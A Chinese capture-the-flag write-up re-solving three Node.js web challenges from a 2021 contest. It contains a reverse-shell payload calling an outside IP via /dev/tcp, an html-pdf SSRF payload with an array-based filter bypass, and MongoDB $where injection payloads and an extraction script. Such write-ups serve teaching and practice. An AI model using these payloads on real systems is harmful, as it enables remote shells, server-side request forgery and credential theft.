Skip to content

Latest commit

 

History

History
283 lines (176 loc) · 9.45 KB

祥云杯2021-Web复现.md

File metadata and controls

283 lines (176 loc) · 9.45 KB

前言

正好buuctf上放了那三道js的题目,就正好复现了一下,学习学习。

cralwer_z

有注册登录,更新个人信息还有爬虫的功能。但是想使用爬虫功能会受到限制:

    if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(user.bucket)) {
        return res.json({ message: "Sorry but our remote oss server is under maintenance" });
    } else {

因此需要更改user.bucket,但是更改也有这些限制:

        if (url.protocol != "http:" && url.protocol != "https:") return false;
        if (url.href.includes('oss-cn-beijing.ichunqiu.com') === false) return false;
    if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
        res.redirect(`/user/verify?token=${authToken}`)
    } else {

必须包含oss-cn-beijing.ichunqiu.com的话简单,无论是?a=xxx还是#xxxxx都可以。

但是接下来这个verify的功能就是更新bucket:

    let user = await User.findByPk(req.session.userId);
    const result = await Token.findOne({
        token,
        userId: req.session.userId,
        valid: true
    });
    if (result) {
        
        
            await User.update({
                bucket: user.personalBucket
            }, {

需要传入的token是可以找到的才可以。考虑到更新的时候:

        await User.update({
            affiliation,
            age,
            personalBucket: bucket
        }, {

是更新的personalBucket,而verify的时候是更新bucket,而爬虫爬取的则是bucket;如果想可以更新bucket,则必须传的token可以查询到。

正确的解法是,首先更新可以匹配到的地址,获取token,然后再更新为自己的url那里一次,然后再利用第一次获取的token去verify一次即可。

但实际上的话,第一次获取的token会跳转过去,这个token用一次的话,它的valid就会为false,这样的话最后利用应该是不行的,所以需要第一次的时候bp抓包不让它跳转,这样得到的token就是可以用的了。

但实际上复现的时候发现不抓包直接跳转也可以,迷了很久发现这个:

    const result = await Token.findOne({
        token,
        userId: req.session.userId,
        valid: true
    });

不知道是不是出题人故意的,应该写成token:token才对,直接token就是,如果穿了token就永远可以查到数据了,所以出了问题。

rce的话利用https://ha.cker.in/index.php/Article/13563里面的即可。

url写:http://118.31.168.198:39777/index.html#.oss-cn-beijing.ichunqiu.com/即可。

然后url那里的index.html写反弹shell:

<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/118.31.168.198/39876 0>&1'],);console.log(ls.output.toString());")()</script>

然后按步骤打就可以了,最后请求/bucket即可反弹shell:

root@iZbp14tgce8absspjkxi3iZ:~# python3 -m http.server 39777
Serving HTTP on 0.0.0.0 port 39777 (http://0.0.0.0:39777/) ...
117.21.200.166 - - [25/Aug/2021 00:02:00] "GET /index.html HTTP/1.1" 200 -
117.21.200.166 - - [25/Aug/2021 00:02:09] "GET /index.html HTTP/1.1" 200 -


root@iZbp14tgce8absspjkxi3iZ:~# nc -lvvp 39876
Listening on [0.0.0.0] (family 0, port 39876)
Connection from [117.21.200.166] port 39876 [tcp/*] accepted (family 2, sport 10556)
bash: cannot set terminal process group (205): Inappropriate ioctl for device
bash: no job control in this shell
app@9a5e3958e052:/app$ cat /flag
cat /flag
flag{ec14c9ee-801c-403d-9fed-b0910b9618b5}
app@9a5e3958e052:/app$

secrets_of_admin

这题的思路还是比较清晰的。当时没能做出来主要还是因为content那里的绕过不会,还是对node.js不熟悉导致的。

功能有登录,制造pdf,filesinsert,还有通过checknum来读文件。

登录的话,database.js里面给了admine365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645,直接登录即可。files表可以知道,flag在superuser那里,但是superuser不能用。通过下面三行代码也可以知道,需要把flagadmin用户。

            let filename = await DB.getFile(token.username, req.params.id)
            if (fs.existsSync(path.join(__dirname , "../files/", filename))){
                return res.send(await readFile(path.join(__dirname , "../files/", filename)));

但是/api/files/功能那里需要SSRF。

通过查找html-pdf库发现它存在一个任意文件读取:

html-pdf before version 3.0.1 is vulnerable to Arbitrary File Read. The package fails to sanitize the HTML input, allowing attackers to exfiltrate server files by supplying malicious HTML code. XHR requests in the HTML code are executed by the server. Input with an XHR request such as request.open("GET","file:///etc/passwd") will result in a PDF document with the contents of /etc/passwd.

因此可以利用制造pdf的功能来实现ssrf,把flag给admin用户。

<script>
var xhr = new XMLHttpRequest();xhr.open("GET", "http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=123", true);xhr.send();
</script>

而且filename字段是UNIQUE,需要不能直接flag,用./flag。

但是有个问题就是这个过滤:

    if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
        // even admin can't be trusted right ? :)  
        return res.render('admin', { error: 'Forbidden word 🤬'});
    } else {

当时自己就卡在了这里,不知道怎么绕过。关键就在于node.js的弱类型和php的弱类型有所不同。js中数组和字符串拼接的话,比如["hello"]+"world",得到的是helloworld,而php里确实Arrayworld。也是因为深受php的影响,所以没想到这里可以用数组来绕过,记得URL编码:

http://b34ad16e-b7b2-4eb1-bfc1-8f0840ab5307.node4.buuoj.cn:81/admin

content[]=<script>
var xhr = new XMLHttpRequest();xhr.open("GET", "http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=123", true);xhr.send();
</script>

就实现了SSRF,再访问http://b34ad16e-b7b2-4eb1-bfc1-8f0840ab5307.node4.buuoj.cn:81/api/files/123即可得到flag。

Package Manager 2021

看一下schema.js可以知道用的是mongodb。

发现/auth存在SQL注入:

router.post('/auth', async (req, res) => {
	let { token } = req.body;
	if (token !== '' && typeof (token) === 'string') {
		if (checkmd5Regex(token)) {
			try {
				let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
				console.log(docs);

存在一个checkmd5Regex的waf,不过因为写的有问题,没有加上^$,所以可以绕过:

const checkmd5Regex = (token: string) => {
  return /([a-f\d]{32}|[A-F\d]{32})/.exec(token);
}

而且注意一下,用的是==而不是=

接下来就是SQL注入出密码了,有两种方式。第一种就是正常的布尔注入:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[0]=="a

写个脚本跑出来即可:

import requests
import string

url="http://fa767ade-d4a2-4335-a76b-84bebdea8395.node4.buuoj.cn:81/auth"
headers={
    "Cookie": "session=s:43UCQxzqHneiwEF-JP_ftZ0Aw1upXuCF.t58XyJ4BQ4rmP8Da+VdQzkHtAd1r4EkRUs9h/Zim3os",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
    "Referer": "http://fa767ade-d4a2-4335-a76b-84bebdea8395.node4.buuoj.cn:81/packages/submit",
    "Origin": "http://fa767ade-d4a2-4335-a76b-84bebdea8395.node4.buuoj.cn:81",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Upgrade-Insecure-Requests": "1",
}

flag = ''
for i in range(10000):
    for j in string.printable:
        if j == '"':
            continue
        payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
        #print(payload)
        data={
            "_csrf":"2PzwJX5n-Y1qH02TLkz3_JXa_OBn2hpgU2G8",
            "token":payload
        }


        r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)
        #print(r.text)
        if "Found. Redirecting to" in r.text:
            #print(payload)
            flag+=j
            print(flag)
            break
"!@#&@&@efefef*@((@))grgregret3r"
"!@#&@&@efefef*@((@))grgregret3r"

第二种是WM的Web师傅的骚姿势,只能说学习了,因为实在不会js呜呜呜呜:

MongoDB支持Javascript语法。所以可以用js语法去抛出内容是admin密码的异常

_csrf=2PzwJX5n-Y1qH02TLkz3_JXa_OBn2hpgU2G8&token=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||
( ()=>{throw Error(this.password)})()=="admin

MongoError: Executor error during find command :: caused by :: Error: !@#&@&@efefef*@((@))grgregret3r : @:1:125 @:1:112

登录即可拿到flag。学到了学到了!

总结

有空还是得去补补js。